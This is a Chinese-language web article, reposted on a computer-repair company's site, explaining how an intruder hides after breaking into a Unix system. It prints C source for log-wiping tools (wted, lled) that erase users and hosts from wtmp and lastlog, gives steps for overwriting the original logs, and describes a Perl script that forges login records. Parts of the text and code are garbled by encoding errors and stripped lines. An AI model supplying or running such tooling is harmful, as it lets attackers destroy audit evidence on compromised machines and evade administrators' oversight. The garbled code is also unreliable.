设为主页 | 加入收藏 | 繁體中文

进入系统后如何隐藏自己?


  }
  printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
  printf("Now chmod wtmp.tmp and copy over the original %s\n",file);
  }
  remnull(name)
  char *name;
  {
  --------------------------------------------------------------------------------
  int fp=-1,fd=-1,tot=0,cnt=0,n=0;
  struct utmp utmp;
  if (fp=open(file,O_RDONLY)) {
  fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
  while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) {
  if (utmp.ut_time) {
  cnt++;
  write(fd,&utmp,sizeof(struct utmp));
  }
  else
  tot++;
  }
  close(fp);
  close(fd);
  }
  printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
  printf("Now chmod wtmp.tmp and copy over the original %s\n",file);
  }
  usage()
  {
  printf("Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST\n");
  printf("\t-h\tThis help\n");
  printf("\t-f\tUse FILE instead of default\n");
  printf("\t-a\tShow all entries found\n");
  printf("\t-u\tShow all entries for USER\n");
  printf("\t-b\tShow NULL entries\n");
  printf("\t-e\tErase USER completely\n");
  printf("\t-c\tErase all connections containing HOST\n");
  printf("\t-z\tShow ZAP'd entries\n");
  printf("\t-x\tAttempt to remove ZAP'd entries completely\n");
  }
  ---------------------- cut here
  你大概还需要扫除/vat/adm/lastlog日志。
  这要用到lled.c程序。编译这个文件并定名为lled.
  你运转lled程序将会出现上面的菜单:
  [4:04am][/home/paris/compile]lled
  Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST
  -h This help °??ú
  -f Use FILE instead of default ê1ó????¨?????t′úì?è±ê???
  -a Show all entries found ??ê?è?2?????
  -u Show all entries for USER ??ê????¨ó??§??è?2?????
  -b Show NULL entries ??ê???????
  -e Erase USER completely è?2?é?3y???¨ó??§??????
  -c Erase all connections containing HOST é?3y°üo????¨?÷?ú??è?2?????
  -z Show ZAP'd entries ??ê?ó?ZAP′|àí1y??????
  -x Attempt to remove ZAP'd entries completely é?3yó?ZAP′|àí1y??????
  你可以先用-u来看一下,很多工夫你的用户名并没有记录上去,但会记录下你的主机,一般你可以这
  样利用:(假定我进入体系时利用的主机名为machine.edit.com)
  lled -e username -c machine.edit
  要是你要查看你的主机是否记录在lastlog日志的结尾,你应输出:lled -a
  利用chmod将 lastlog.tmp文件属性改为 644并象你利用上面的wted程序一样将其拷贝到日志文件的目
  录中并覆盖岳吹奈募?
  重要:将lastlog路径设置为你入侵的主机中的正确路径。
  上面是lled.c:
  -------------------------- cut here
  #include
  #include
  #include
  #include
  char *file="/var/adm/lastlog";
  main(argc,argv)
  int argc;
  char *argv[];
  {
  int i;
  if (argc==1) usage();
  for(i=1;i{
  if(argv[i][0] == '-')
  {
  switch(argv[i][1])
  {
  case 'b': printents(""); break;
  case 'z': printents("Z4p"); break;
  case 'e': erase(argv[i+1]); break;
  case 'c': erase(0,argv[i+1]); break;
  case 'f': file=argv[i+1]; break;
  case 'u': printents(argv[i+1]); break;
  case 'a': printents("*"); break;
  case 'x': remnull(argv[i+1]); break;
  default:usage();
  }
  }
  }
  }
  printents(name)
  char *name;
  {
  struct lastlog utmp,*ptr;
  int fp=-1;
  ptr=&utmp;
  if (fp=open(file,O_RDONLY))
  {
  while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog))
  {
  if ( !(strcmp(name,ptr->ll_line)) || (name=="*") ||
  (!(strcmp("Z4p",name)) && (ptr->ll_time==0)))
  printinfo(ptr);
  }
  close(fp);
  }
  }
  printinfo(ptr)
  struct lastlog *ptr;
  {
  char tmpstr[256];
  printf("%s\t",ptr->ll_line);
  strcpy(tmpstr,ctime(&(ptr->ll_time)));
  tmpstr[strlen(tmpstr)-1]='\0';
  printf("%s\t",tmpstr);
  printf("%s\n",ptr->ll_host);
  }
  erase(name,host)
  char *name,*host;
  {
  int fp=-1,fd=-1,tot=0,cnt=0,n=0;
  struct lastlog utmp;
  unsigned char c;
  if (fp=open(file,O_RDONLY)) {
  fd=open("lastlog.tmp",O_WRONLY|O_CREAT);
  while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) {
  if (host)
  if (strstr(utmp.ll_host,host)) tot++;
  else {cnt++;write(fd,&utmp,sizeof(struct lastlog));}
  if (name) {
  if (strcmp(utmp.ll_line,name)) {cnt++;
  write(fd,&utmp,sizeof(struct lastlog));}
  else {
  if (n>0) {
  n--;cnt++;
  write(fd,&utmp,sizeof(struct lastlog));}
  else
  {
  printinfo(&utmp);
  printf("Erase entry (y/n/f(astforward))? ");
  c='a';
  while (c!='y'&&c!='n'&&c!='f') c=getc(stdin);
  if (c=='f') {
  cnt++;
  write(fd,&utmp,sizeof(struct lastlog));
  printf("Fast forward how many entries? ");
  scanf("%d",&n);}
  if (c=='n') {
  cnt++;
  write(fd,&utmp,sizeof(struct lastlog));
  }
  if (c=='y') tot++;
  }
  } }
  }
  close(fp);
  close(fd);
  }
  printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
  printf("Now chmod lastlog.tmp and copy over the original %s\n",file);
  }
  remnull(name)
  char *name;
  {
  int fp=-1,fd=-1,tot=0,cnt=0,n=0;
  struct lastlog utmp;
  if (fp=open(file,O_RDONLY)) {
  fd=open("lastlog.tmp",O_WRONLY|O_CREAT);
  while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) {
  if (utmp.ll_time) {
  cnt++;
  write(fd,&utmp,sizeof(struct lastlog));
  }
  else
  tot++;
  }
  close(fp);
  close(fd);
  }
  printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
  printf("Now chmod lastlog.tmp and copy over the original %s\n",file);
  }
  usage()
  {
  printf("Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST\n");
  printf("\t-h\tThis help\n");
  printf("\t-f\tUse FILE instead of default\n");
  printf("\t-a\tShow all entries found\n");
  printf("\t-u\tShow all entries for USER\n");
  printf("\t-b\tShow NULL entries\n");
  printf("\t-e\tErase USER completely\n");
  printf("\t-c\tErase all connections containing HOST\n");
  printf("\t-z\tShow ZAP'd entries\n");
  printf("\t-x\tAttempt to remove ZAP'd entries completely\n");
  }
  ---------------------------------------------------------------- cut here
  上面是个编辑tmp, wtmp和检查进程的很好的perl脚本程序。这个程序还容许你在wtmp日志中加入一行。
  要是你想搞,你可以加入clinton(克林顿).whitehouse(白宫).gov logging into port ttyp3 并表现
  他在体系中停留了几个小时!
  利用检查功能,你可以知道是否有什么人登录到体系中而在utmp日志中又没有记录。体系办理员有时登
  录后喜欢把本身隐藏起来,这个程序可以看到他们是否在线。你必须有root的权限来实行这个程序,这
  个程序还需要5.003以上的版本才能运转。启动这个脚本程序后输出help。
  上面是一些根本命令:
  starts by loading wtmp
  delete user username
  delete host hostanme
  write
  read wtmp
  delete user username
  delete host hostname
  write
  利用help来查看其它的命令......
 


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: